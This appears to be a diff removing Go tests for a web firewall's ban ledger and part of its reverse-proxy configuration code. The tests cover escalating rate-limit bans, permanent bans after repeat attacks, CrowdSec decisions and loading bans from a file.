ban, _ := ledger.BanForAttack(netblock, midnight(), notes)
|
||||
if !ban.Expires.Equal(midnight().Add(7*day)) || ban.Cause != bans.CauseAttack ||
|
||||
ban.Notes.RuleID != "env-file" || ledger.Made(bans.CauseAttack) != 1 ||
|
||||
ledger.Made(bans.CauseLimit) != 0 {
|
||||
t.Fatalf("the ban is %+v, with %d made for an attack and %d for a limit, "+
|
||||
"want one for an attack, of seven days", ban,
|
||||
ledger.Made(bans.CauseAttack), ledger.Made(bans.CauseLimit))
|
||||
}
|
||||
|
||||
wantChanged(t, ledger, true)
|
||||
|
||||
// In observe mode the ban refuses nothing, and stays as it is, while
|
||||
// Find tells that the request would have made it permanent.
|
||||
got, _, wouldMakePermanent := ledger.Find(netblock.Addr(), midnight().Add(time.Hour))
|
||||
if got.Permanent() || ledger.Bans(netblock)[0].Permanent() || !wouldMakePermanent {
|
||||
t.Fatalf("a request found under the ban left it %+v, would have made it "+
|
||||
"permanent %t, want it as it was, and true", got, wouldMakePermanent)
|
||||
}
|
||||
|
||||
wantChanged(t, ledger, false)
|
||||
|
||||
// A request it refuses makes it permanent, says so, and makes
|
||||
// bans.json due.
|
||||
got, _, madePermanent := ledger.Check(netblock.Addr(), midnight().Add(time.Hour))
|
||||
if !madePermanent || !got.Permanent() || !ledger.Bans(netblock)[0].Permanent() {
|
||||
t.Fatalf("after a request during the ban, it is %+v, made permanent %t, "+
|
||||
"want it made permanent", got, madePermanent)
|
||||
}
|
||||
|
||||
wantChanged(t, ledger, true)
|
||||
|
||||
// The next request finds it permanent already.
|
||||
_, banned, madePermanent := ledger.Check(netblock.Addr(), midnight().Add(100*365*day))
|
||||
if !banned || madePermanent {
|
||||
t.Errorf("a later request is banned %t, and made the ban permanent %t, "+
|
||||
"want banned by the permanent ban", banned, madePermanent)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAttackAfterAnAttackBanHasEndedBansPermanently(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
ledger := bans.New(defaultParams())
|
||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||
|
||||
// A ban for a broken limit before does not count.
|
||||
first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
|
||||
second, _ := ledger.BanForAttack(netblock, first.Expires, bans.Notes{})
|
||||
|
||||
if second.Expires.Sub(second.Start) != 7*day {
|
||||
t.Fatalf("the first ban for an attack lasts %s, want 7 days",
|
||||
second.Expires.Sub(second.Start))
|
||||
}
|
||||
|
||||
// Once that has run out without a request, the netblock is served, and
|
||||
// its next clear sign of attack bans it for good.
|
||||
_, banned, _ := ledger.Check(netblock.Addr(), second.Expires)
|
||||
if banned {
|
||||
t.Fatal("the ban did not end")
|
||||
}
|
||||
|
||||
// Its notes show the earlier ban for an attack that makes it permanent,
|
||||
// beside the one for a limit.
|
||||
third, _ := ledger.BanForAttack(netblock, second.Expires.Add(30*day), bans.Notes{})
|
||||
if !third.Permanent() ||
|
||||
third.Notes.EarlierBans != (bans.EarlierBans{Limit: 1, Attack: 1}) {
|
||||
t.Errorf("the next ban for an attack is %+v, want a permanent one, "+
|
||||
"with 1 earlier ban for a limit and 1 for an attack", third)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
ledger := bans.New(defaultParams())
|
||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||
first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
|
||||
wantChanged(t, ledger, true)
|
||||
|
||||
// While the first ban lasts, none would be made.
|
||||
during, would := ledger.WouldBanForAttack(netblock, midnight(), bans.Notes{})
|
||||
if would || !reflect.DeepEqual(during, first) {
|
||||
t.Errorf("during the first ban, would ban %t with %+v, want false with %+v",
|
||||
would, during, first)
|
||||
}
|
||||
|
||||
// As it ends, a clear sign of attack would ban for seven days, and a
|
||||
// limit broken again for three hours, but neither is made.
|
||||
limitNotes := bans.Notes{Kind: "requests", Limit: 1, Window: "minute"}
|
||||
attack, wouldAttack := ledger.WouldBanForAttack(netblock, first.Expires,
|
||||
bans.Notes{RuleID: "git-dir"})
|
||||
limit, wouldLimit := ledger.WouldBanForLimit(netblock, first.Expires, limitNotes)
|
||||
|
||||
if !wouldAttack || !attack.Expires.Equal(first.Expires.Add(7*day)) ||
|
||||
attack.Reason != "matched the rule git-dir" || !wouldLimit ||
|
||||
!limit.Expires.Equal(first.Expires.Add(3*time.Hour)) ||
|
||||
limit.Reason != "requests per minute over the limit of 1" {
|
||||
t.Errorf("would ban with %+v and %+v, want seven days for the attack and "+
|
||||
"three hours for the limit", attack, limit)
|
||||
}
|
||||
|
||||
if len(ledger.Bans(netblock)) != 1 || ledger.Made(bans.CauseLimit) != 1 ||
|
||||
ledger.Made(bans.CauseAttack) != 0 {
|
||||
t.Errorf("the ledger holds %+v, want the first ban alone", ledger.Bans(netblock))
|
||||
}
|
||||
|
||||
wantChanged(t, ledger, false)
|
||||
|
||||
// The ban made is the one that would have been.
|
||||
made, _ := ledger.BanForLimit(netblock, first.Expires, limitNotes)
|
||||
if !reflect.DeepEqual(made, limit) {
|
||||
t.Errorf("the ban made is %+v, want %+v", made, limit)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWouldBePermanentAnswersAsTheBanWouldBeMade(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
ledger := bans.New(defaultParams())
|
||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||
now := midnight()
|
||||
|
||||
// Five bans for a limit in a row, of 1, 3, 9, 27 and 81 hours, are not
|
||||
// permanent. The sixth, of 243 hours, would be, while a first ban for
|
||||
// an attack would not.
|
||||
for i := range 5 {
|
||||
if ledger.WouldBePermanent(netblock, now, bans.CauseLimit) {
|
||||
t.Fatalf("ban %d for a limit would be permanent", i+1)
|
||||
}
|
||||
|
||||
ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
|
||||
now = ban.Expires
|
||||
}
|
||||
|
||||
if !ledger.WouldBePermanent(netblock, now, bans.CauseLimit) {
|
||||
t.Error("the sixth ban for a limit would not be permanent")
|
||||
}
|
||||
|
||||
if ledger.WouldBePermanent(netblock, now, bans.CauseAttack) {
|
||||
t.Error("a first ban for an attack would be permanent")
|
||||
}
|
||||
|
||||
// Once a first ban for an attack has ended, the next would be permanent.
|
||||
attack, _ := ledger.BanForAttack(netblock, now, bans.Notes{})
|
||||
if !ledger.WouldBePermanent(netblock, attack.Expires, bans.CauseAttack) {
|
||||
t.Error("a second ban for an attack would not be permanent")
|
||||
}
|
||||
}
|
||||
|
||||
func TestAttackBanDoesNotLengthenTheNextBanForALimit(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
ledger := bans.New(defaultParams())
|
||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||
|
||||
// Three times the seven days would be permanent; a limit broken as the
|
||||
// ban for an attack ends bans for an hour, as a first broken limit does.
|
||||
attack, _ := ledger.BanForAttack(netblock, midnight(), bans.Notes{})
|
||||
limit, _ := ledger.BanForLimit(netblock, attack.Expires, bans.Notes{})
|
||||
|
||||
if limit.Expires.Sub(limit.Start) != time.Hour || limit.Cause != bans.CauseLimit {
|
||||
t.Errorf("the ban for a limit is %+v, want one of an hour", limit)
|
||||
}
|
||||
|
||||
// And a request during the ban for a limit leaves it as it is.
|
||||
got, _, madePermanent := ledger.Check(netblock.Addr(), limit.Start)
|
||||
if got.Permanent() || madePermanent {
|
||||
t.Error("a request during a ban for a limit made it permanent")
|
||||
}
|
||||
}
|
||||
|
||||
func TestRequestTextsAreCutTo256Bytes(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
ledger := bans.New(defaultParams())
|
||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||
long := strings.Repeat("a", 300)
|
||||
request := bans.Request{
|
||||
Time: midnight(), Method: long, Host: long, Path: long, Status: 403, UserAgent: long,
|
||||
}
|
||||
|
||||
ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Request: request})
|
||||
|
||||
cut := long[:256]
|
||||
want := bans.Request{
|
||||
Time: midnight(), Method: cut, Host: cut, Path: cut, Status: 403, UserAgent: cut,
|
||||
}
|
||||
|
||||
if ban.Notes.Request != want || ledger.Bans(netblock)[0].Notes.Request != want {
|
||||
t.Errorf("the notes keep %+v, want each text cut to 256 bytes", ban.Notes.Request)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLookupFillsTheNotesOfTheNetblocksBansWithoutOne(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
ledger := bans.New(defaultParams())
|
||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||
other := netip.MustParsePrefix("198.51.100.7/32")
|
||||
|
||||
// A ban made with the client's lookup, one made before it came, after
|
||||
// the first ended, and one on another netblock.
|
||||
ledger.BanForLimit(netblock, midnight(), bans.Notes{
|
||||
ASN: "AS64497", ASName: "Other Net", Country: "FR",
|
||||
})
|
||||
ledger.BanForLimit(netblock, midnight().Add(time.Hour), bans.Notes{})
|
||||
ledger.BanForLimit(other, midnight(), bans.Notes{})
|
||||
|
||||
ledger.AddLookup(netblock, "AS64496", "Example Net", "DE")
|
||||
|
||||
held := ledger.Bans(netblock)
|
||||
if len(held) != 2 {
|
||||
t.Fatalf("%s has %d bans, want 2", netblock, len(held))
|
||||
}
|
||||
|
||||
for i, want := range []bans.Notes{
|
||||
{ASN: "AS64497", ASName: "Other Net", Country: "FR"},
|
||||
{ASN: "AS64496", ASName: "Example Net", Country: "DE"},
|
||||
} {
|
||||
got := held[i].Notes
|
||||
if got.ASN != want.ASN || got.ASName != want.ASName || got.Country != want.Country {
|
||||
t.Errorf("ban %d's notes give %q, %q and %q, want %q, %q and %q", i+1,
|
||||
got.ASN, got.ASName, got.Country, want.ASN, want.ASName, want.Country)
|
||||
}
|
||||
}
|
||||
|
||||
if notes := ledger.Bans(other)[0].Notes; notes.ASN != "" || notes.Country != "" {
|
||||
t.Errorf("the ban on %s has %q and %q, want neither",
|
||||
other, notes.ASN, notes.Country)
|
||||
}
|
||||
}
|
||||
|
||||
// defaultParams are the params at the settings' defaults.
|
||||
func defaultParams() bans.Params {
|
||||
return bans.Params{
|
||||
LimitBanDuration: time.Hour,
|
||||
LimitBanRepeatWindow: day,
|
||||
MaxBanDuration: 7 * day,
|
||||
AttackBanDuration: 7 * day,
|
||||
MaxBans: 5000,
|
||||
}
|
||||
}
|
||||
|
||||
// midnight is when the tests' first bans are made.
|
||||
func midnight() time.Time {
|
||||
return time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)
|
||||
}
|
||||
|
||||
// wantBans checks how many bans the ledger holds on each netblock.
|
||||
func wantBans(t *testing.T, ledger *bans.Ledger, want map[netip.Prefix]int) {
|
||||
t.Helper()
|
||||
|
||||
for netblock, count := range want {
|
||||
got := len(ledger.Bans(netblock))
|
||||
if got != count {
|
||||
t.Errorf("%s has %d bans, want %d", netblock, got, count)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,90 +0,0 @@
|
||||
package bans_test
|
||||
|
||||
import (
|
||||
"net/netip"
|
||||
"reflect"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||
)
|
||||
|
||||
// scenario is the scenario of the tests' CrowdSec decisions.
|
||||
const scenario = "crowdsecurity/ssh-bf"
|
||||
|
||||
func TestCrowdSecBanLastsUntilTheDecisionEnds(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
ledger := bans.New(defaultParams())
|
||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||
expires := midnight().Add(4 * time.Hour)
|
||||
|
||||
// The ban that would be made is not made.
|
||||
would, wouldBan := ledger.WouldBanForCrowdSec(netblock, midnight(), expires,
|
||||
scenario, bans.Notes{})
|
||||
if !wouldBan || len(ledger.Bans(netblock)) != 0 {
|
||||
t.Errorf("would ban %t, and the ledger holds %+v, want true and nothing",
|
||||
wouldBan, ledger.Bans(netblock))
|
||||
}
|
||||
|
||||
const reason = "CrowdSec's decision for " + scenario
|
||||
|
||||
ban, made := ledger.BanForCrowdSec(netblock, midnight(), expires, scenario,
|
||||
bans.Notes{})
|
||||
if !made || !reflect.DeepEqual(ban, would) || ban.Cause != bans.CauseCrowdSec ||
|
||||
!ban.Expires.Equal(expires) || ban.Reason != reason ||
|
||||
ledger.Made(bans.CauseCrowdSec) != 1 {
|
||||
t.Errorf("made %t the ban %+v, want the one that would be made, %+v, for "+
|
||||
"crowdsec until %s", made, ban, would, expires)
|
||||
}
|
||||
|
||||
// A second decision on the netblock while the ban lasts makes no other.
|
||||
again, made := ledger.BanForCrowdSec(netblock, midnight().Add(time.Hour),
|
||||
expires.Add(time.Hour), scenario, bans.Notes{})
|
||||
if made || !again.Expires.Equal(expires) || ledger.Made(bans.CauseCrowdSec) != 1 {
|
||||
t.Errorf("made %t the ban %+v while the first lasts, want none", made, again)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
ledger := bans.New(defaultParams())
|
||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||
expires := midnight().Add(4 * time.Hour)
|
||||
ledger.BanForCrowdSec(netblock, midnight(), expires, scenario, bans.Notes{})
|
||||
|
||||
// A request as the ban ends is refused, and leaves it as it is.
|
||||
last := expires.Add(-time.Nanosecond)
|
||||
|
||||
held, banned, madePermanent := ledger.Check(netblock.Addr(), last)
|
||||
if !banned || madePermanent || !held.Expires.Equal(expires) ||
|
||||
ledger.WouldBePermanent(netblock, last, bans.CauseCrowdSec) {
|
||||
t.Errorf("as the ban ends, banned %t with %+v, made permanent %t, want "+
|
||||
"refused under the ban as it was", banned, held, madePermanent)
|
||||
}
|
||||
|
||||
if _, banned, _ := ledger.Check(netblock.Addr(), expires); banned {
|
||||
t.Error("the ban refuses a request once the decision has ended")
|
||||
}
|
||||
}
|
||||
|
||||
func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
ledger := bans.New(defaultParams())
|
||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||
|
||||
// Three times the three days would be permanent; a limit broken as the
|
||||
// ban for CrowdSec's decision ends bans for an hour, as a first broken
|
||||
// limit does.
|
||||
crowdSec, _ := ledger.BanForCrowdSec(netblock, midnight(), midnight().Add(3*day),
|
||||
scenario, bans.Notes{})
|
||||
limit, _ := ledger.BanForLimit(netblock, crowdSec.Expires, bans.Notes{})
|
||||
|
||||
if limit.Expires.Sub(limit.Start) != time.Hour ||
|
||||
limit.Notes.EarlierBans != (bans.EarlierBans{CrowdSec: 1}) {
|
||||
t.Errorf("the ban for a limit is %+v, want one of an hour after one for crowdsec",
|
||||
limit)
|
||||
}
|
||||
}
|
||||
@@ -1,315 +0,0 @@
|
||||
package bans_test
|
||||
|
||||
import (
|
||||
"net/netip"
|
||||
"reflect"
|
||||
"slices"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||
)
|
||||
|
||||
func TestChangedAfterABanIsMade(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
ledger := bans.New(defaultParams())
|
||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||
|
||||
wantChanged(t, ledger, false)
|
||||
|
||||
ledger.BanForLimit(netblock, midnight(), bans.Notes{})
|
||||
wantChanged(t, ledger, true)
|
||||
|
||||
// A limit broken during the ban makes no other, and a refusal changes
|
||||
// only the counts in the notes, which wait for the interval's write.
|
||||
ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{})
|
||||
ledger.Check(netblock.Addr(), midnight().Add(time.Minute))
|
||||
wantChanged(t, ledger, false)
|
||||
|
||||
// Two bans before the value is read leave one.
|
||||
ledger.BanForLimit(netip.MustParsePrefix("203.0.113.10/32"), midnight(), bans.Notes{})
|
||||
ledger.BanForLimit(netip.MustParsePrefix("203.0.113.11/32"), midnight(), bans.Notes{})
|
||||
wantChanged(t, ledger, true)
|
||||
wantChanged(t, ledger, false)
|
||||
}
|
||||
|
||||
func TestSnapshotListsEveryBanByNetblock(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
ledger := bans.New(defaultParams())
|
||||
v6 := netip.MustParsePrefix("2001:db8::/64")
|
||||
high := netip.MustParsePrefix("203.0.113.10/32")
|
||||
low := netip.MustParsePrefix("203.0.113.9/32")
|
||||
|
||||
first, _ := ledger.BanForLimit(v6, midnight(), bans.Notes{})
|
||||
ledger.BanForLimit(high, midnight(), bans.Notes{})
|
||||
ledger.BanForLimit(low, midnight(), bans.Notes{})
|
||||
ledger.BanForLimit(v6, first.Expires, bans.Notes{})
|
||||
|
||||
snapshot := ledger.Snapshot()
|
||||
|
||||
got := make([]string, 0, len(snapshot))
|
||||
for _, ban := range snapshot {
|
||||
got = append(got, ban.Netblock.String()+" "+ban.Start.Format(time.Kitchen))
|
||||
}
|
||||
|
||||
want := []string{
|
||||
"203.0.113.9/32 12:00AM", "203.0.113.10/32 12:00AM",
|
||||
"2001:db8::/64 12:00AM", "2001:db8::/64 1:00AM",
|
||||
}
|
||||
if !slices.Equal(got, want) {
|
||||
t.Errorf("snapshot %v, want %v", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLoadedBansCarryOn(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
before := bans.New(defaultParams())
|
||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||
ban, _ := before.BanForLimit(netblock, midnight(), bans.Notes{Limit: 1})
|
||||
|
||||
// Loaded into a new ledger, as across a restart, the ban still refuses
|
||||
// while it lasts, and once it has ended a broken limit bans for three
|
||||
// times as long, with the loaded ban counted among the earlier ones.
|
||||
after := bans.New(defaultParams())
|
||||
after.Load(before.Snapshot())
|
||||
|
||||
_, banned, _ := after.Check(netblock.Addr(), ban.Expires.Add(-time.Second))
|
||||
if !banned {
|
||||
t.Error("the loaded ban does not refuse")
|
||||
}
|
||||
|
||||
again, _ := after.BanForLimit(netblock, ban.Expires, bans.Notes{})
|
||||
if again.Expires.Sub(again.Start) != 3*time.Hour ||
|
||||
again.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
|
||||
t.Errorf("the next ban lasts %s with earlier bans %+v, want 3h and 1 for a limit",
|
||||
again.Expires.Sub(again.Start), again.Notes.EarlierBans)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLoadedBanRefusesEveryClientInItsNetblock(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// Two entries as an admin might write them, with addresses not masked
|
||||
// to their lengths, the IPv6 one shorter than the /64 an IPv6 client's
|
||||
// ban covers, beside a ban the ledger makes on one IPv4 address.
|
||||
ledger := bans.New(defaultParams())
|
||||
ledger.Load([]bans.Ban{
|
||||
{Netblock: netip.MustParsePrefix("203.0.113.9/24"), Start: midnight()},
|
||||
{Netblock: netip.MustParsePrefix("2001:db8::1/48"), Start: midnight()},
|
||||
})
|
||||
ledger.BanForLimit(netip.MustParsePrefix("198.51.100.7/32"), midnight(), bans.Notes{})
|
||||
|
||||
for client, want := range map[string]bool{
|
||||
"203.0.113.0": true,
|
||||
"203.0.113.200": true,
|
||||
"203.0.114.1": false,
|
||||
"2001:db8:0:5::1": true,
|
||||
"2001:db8:1::1": false,
|
||||
"198.51.100.7": true,
|
||||
"198.51.100.8": false,
|
||||
} {
|
||||
_, banned, _ := ledger.Check(netip.MustParseAddr(client), midnight())
|
||||
if banned != want {
|
||||
t.Errorf("%s is refused: %t, want %t", client, banned, want)
|
||||
}
|
||||
}
|
||||
|
||||
// The loaded netblocks are written back masked.
|
||||
snapshot := ledger.Snapshot()
|
||||
|
||||
got := make([]string, 0, len(snapshot))
|
||||
for _, ban := range snapshot {
|
||||
got = append(got, ban.Netblock.String())
|
||||
}
|
||||
|
||||
want := []string{"198.51.100.7/32", "203.0.113.0/24", "2001:db8::/48"}
|
||||
if !slices.Equal(got, want) {
|
||||
t.Errorf("the ledger holds bans on %v, want %v", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPermanentBanStartedBeforeAnEndedOneRefuses(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// As when an admin adds a permanent ban to bans.json with a start
|
||||
// before that of the netblock's ban that has ended.
|
||||
netblock := netip.MustParsePrefix("203.0.113.0/24")
|
||||
permanent := bans.Ban{Netblock: netblock, Start: midnight().Add(-time.Hour)}
|
||||
ended := bans.Ban{
|
||||
Netblock: netblock,
|
||||
Start: midnight(),
|
||||
Expires: midnight().Add(time.Hour),
|
||||
}
|
||||
|
||||
ledger := bans.New(defaultParams())
|
||||
ledger.Load([]bans.Ban{permanent, ended})
|
||||
|
||||
now := midnight().Add(2 * time.Hour)
|
||||
client := netip.MustParseAddr("203.0.113.9")
|
||||
|
||||
ban, banned, _ := ledger.Find(client, now)
|
||||
if !banned || !ban.Permanent() {
|
||||
t.Errorf("find gives %+v and %t, want the permanent ban", ban, banned)
|
||||
}
|
||||
|
||||
ban, banned, _ = ledger.Check(client, now)
|
||||
if !banned || !ban.Permanent() {
|
||||
t.Errorf("the client is refused: %t, under %+v, want under the permanent ban",
|
||||
banned, ban)
|
||||
}
|
||||
|
||||
// A limit broken now makes no shorter ban over the permanent one.
|
||||
ban, _ = ledger.BanForLimit(netblock, now, bans.Notes{})
|
||||
if !ban.Permanent() || len(ledger.Bans(netblock)) != 2 {
|
||||
t.Errorf("a broken limit returned %+v and left the netblock %d bans, "+
|
||||
"want the permanent ban and 2", ban, len(ledger.Bans(netblock)))
|
||||
}
|
||||
}
|
||||
|
||||
func TestNextBanWorkedOutFromTheBanThatEndedLast(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// A 9-hour ban sww made, the third in a row, and an admin's
|
||||
// 1-hour ban added to bans.json over it, with no cause and no notes.
|
||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||
nineHours := bans.Ban{
|
||||
Netblock: netblock,
|
||||
Start: midnight(),
|
||||
Expires: midnight().Add(9 * time.Hour),
|
||||
Cause: bans.CauseLimit,
|
||||
Notes: bans.Notes{EarlierBans: bans.EarlierBans{Limit: 2}},
|
||||
}
|
||||
admins := bans.Ban{
|
||||
Netblock: netblock,
|
||||
Start: midnight().Add(time.Hour),
|
||||
Expires: midnight().Add(2 * time.Hour),
|
||||
}
|
||||
|
||||
ledger := bans.New(defaultParams())
|
||||
ledger.Load([]bans.Ban{nineHours, admins})
|
||||
|
||||
// Once both have ended, a limit broken within the repeat window bans
|
||||
// for three times the 9 hours, and the notes count the two bans
|
||||
// before the 9-hour one and it, for a limit, and the admin's.
|
||||
ban, _ := ledger.BanForLimit(netblock, nineHours.Expires.Add(time.Hour), bans.Notes{})
|
||||
if ban.Expires.Sub(ban.Start) != 27*time.Hour ||
|
||||
ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 3, Admin: 1}) {
|
||||
t.Errorf("the next ban lasts %s with earlier bans %+v, "+
|
||||
"want 27h, 3 for a limit and 1 an admin's",
|
||||
ban.Expires.Sub(ban.Start), ban.Notes.EarlierBans)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLoadKeepsAtMostMaxBansDroppingTheEarliest(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// bans.json lists the bans by netblock, not in the order they began.
|
||||
later := bans.Ban{
|
||||
Netblock: netip.MustParsePrefix("203.0.113.1/32"),
|
||||
Start: midnight(),
|
||||
Cause: bans.CauseLimit,
|
||||
}
|
||||
earlier := bans.Ban{
|
||||
Netblock: netip.MustParsePrefix("203.0.113.2/32"),
|
||||
Start: midnight().Add(-time.Hour),
|
||||
Cause: bans.CauseLimit,
|
||||
}
|
||||
|
||||
params := defaultParams()
|
||||
params.MaxBans = 1
|
||||
ledger := bans.New(params)
|
||||
ledger.Load([]bans.Ban{later, earlier})
|
||||
|
||||
held := ledger.Snapshot()
|
||||
if len(held) != 1 || !reflect.DeepEqual(held[0], later) {
|
||||
t.Errorf("the ledger holds %+v, want only the ban that began later", held)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLoadReplacesTheBansHeld(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// Room for three bans, so that the second load, were it added to the
|
||||
// two bans held, would drop none of them to make room.
|
||||
params := defaultParams()
|
||||
params.MaxBans = 3
|
||||
ledger := bans.New(params)
|
||||
kept := bans.Ban{
|
||||
Netblock: netip.MustParsePrefix("2001:db8::/64"),
|
||||
Start: midnight(),
|
||||
Cause: bans.CauseLimit,
|
||||
}
|
||||
ledger.Load([]bans.Ban{
|
||||
{
|
||||
Netblock: netip.MustParsePrefix("203.0.113.0/24"),
|
||||
Start: midnight(),
|
||||
Cause: bans.CauseLimit,
|
||||
},
|
||||
kept,
|
||||
})
|
||||
|
||||
// Loaded again without the first ban, as when an admin's edit of
|
||||
// bans.json is taken in, that ban is lifted.
|
||||
ledger.Load([]bans.Ban{kept})
|
||||
|
||||
_, banned, _ := ledger.Check(netip.MustParseAddr("203.0.113.9"), midnight())
|
||||
if banned {
|
||||
t.Error("a ban left out of the second load still refuses")
|
||||
}
|
||||
|
||||
// The ledger holds one ban, so it makes two more without dropping any.
|
||||
first, _ := ledger.BanForLimit(netip.MustParsePrefix("198.51.100.7/32"), midnight(),
|
||||
bans.Notes{})
|
||||
second, _ := ledger.BanForLimit(netip.MustParsePrefix("198.51.100.8/32"), midnight(),
|
||||
bans.Notes{})
|
||||
|
||||
want := []bans.Ban{first, second, kept}
|
||||
if got := ledger.Snapshot(); !reflect.DeepEqual(got, want) {
|
||||
t.Errorf("the ledger holds %+v, want %+v", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLoadCutsTheTextsTo256Bytes(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
long := strings.Repeat("a", 300)
|
||||
ban := bans.Ban{
|
||||
Netblock: netip.MustParsePrefix("203.0.113.9/32"),
|
||||
Start: midnight(),
|
||||
Notes: bans.Notes{Request: bans.Request{
|
||||
Method: long, Host: long, Path: long, UserAgent: long,
|
||||
}},
|
||||
}
|
||||
|
||||
ledger := bans.New(defaultParams())
|
||||
ledger.Load([]bans.Ban{ban})
|
||||
|
||||
cut := long[:256]
|
||||
want := bans.Request{Method: cut, Host: cut, Path: cut, UserAgent: cut}
|
||||
|
||||
got := ledger.Snapshot()[0].Notes.Request
|
||||
if got != want {
|
||||
t.Errorf("the notes keep %+v, want each text cut to 256 bytes", got)
|
||||
}
|
||||
}
|
||||
|
||||
// wantChanged checks whether the ledger's Changed has a value to read.
|
||||
func wantChanged(t *testing.T, ledger *bans.Ledger, want bool) {
|
||||
t.Helper()
|
||||
|
||||
got := false
|
||||
|
||||
select {
|
||||
case <-ledger.Changed():
|
||||
got = true
|
||||
default:
|
||||
}
|
||||
|
||||
if got != want {
|
||||
t.Errorf("Changed has a value: %t, want %t", got, want)
|
||||
}
|
||||
}
|
||||
+84
-2173
File diff suppressed because it is too large.
Load diff
+149
-2529
File diff suppressed because it is too large.
Load diff
@@ -1,192 +0,0 @@
|
||||
package config
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"log/slog"
|
||||
"math"
|
||||
"net/netip"
|
||||
"net/url"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// RProxy is the settings of `sww rproxy`. A size or time limit of zero
|
||||
// is off.
|
||||
type RProxy struct {
|
||||
// ListenAddr is where rproxy listens (SWRP_LISTEN_ADDR).
|
||||
ListenAddr string
|
||||
// UpstreamURL is the app (SWRP_UPSTREAM_URL).
|
||||
UpstreamURL *url.URL
|
||||
// TrustedProxies are the netblocks whose X-Forwarded-For is believed
|
||||
// (SWRP_TRUSTED_PROXIES).
|
||||
TrustedProxies []netip.Prefix
|
||||
// WAFBackend is discriminator's URL (SWRP_WAF_BACKEND).
|
||||
WAFBackend *url.URL
|
||||
// Timeout is how long rproxy waits for discriminator's answer to a question,
|
||||
// and to a report (SWRP_TIMEOUT_MS). It cannot be off.
|
||||
Timeout time.Duration
|
||||
// DefaultDisposition is what is done with a request when discriminator cannot be
|
||||
// connected to, does not answer at all, or does not answer within Timeout:
|
||||
// allow or deny (SWRP_DEFAULT_DISPOSITION).
|
||||
DefaultDisposition string
|
||||
// MaxRequestSize is the largest request body (SWRP_MAX_REQUEST_SIZE), and
|
||||
// MaxResponseSize the largest response body (SWRP_MAX_RESPONSE_SIZE).
|
||||
MaxRequestSize int64
|
||||
MaxResponseSize int64
|
||||
// MaxRequestTime bounds sending the whole request: the visitor's request
|
||||
// line and headers, and then, from their end, its body on its way to the
|
||||
// app (SWRP_MAX_REQUEST_TIME_MS). MaxResponseTime bounds the answer, from
|
||||
// the end of the request to its last byte reaching the visitor
|
||||
// (SWRP_MAX_RESPONSE_TIME_MS).
|
||||
MaxRequestTime time.Duration
|
||||
MaxResponseTime time.Duration
|
||||
|
||||
// settings are the values read, as given or by default, for the log line
|
||||
// at start.
|
||||
settings []slog.Attr
|
||||
}
|
||||
|
||||
var (
|
||||
errNeedsWAFBackend = errors.New(
|
||||
"is required: it is discriminator's URL, such as http://discriminator:8080")
|
||||
errNotDisposition = errors.New("is not allow or deny")
|
||||
errNotMilliseconds = errors.New(
|
||||
"is not a whole number of milliseconds above zero, such as 2000")
|
||||
errNotMillisecondsOrOff = errors.New(
|
||||
"is not a whole number of milliseconds above zero, such as 60000, or off")
|
||||
)
|
||||
|
||||
// RProxyFromEnvironment reads rproxy's settings with lookupEnv, normally
|
||||
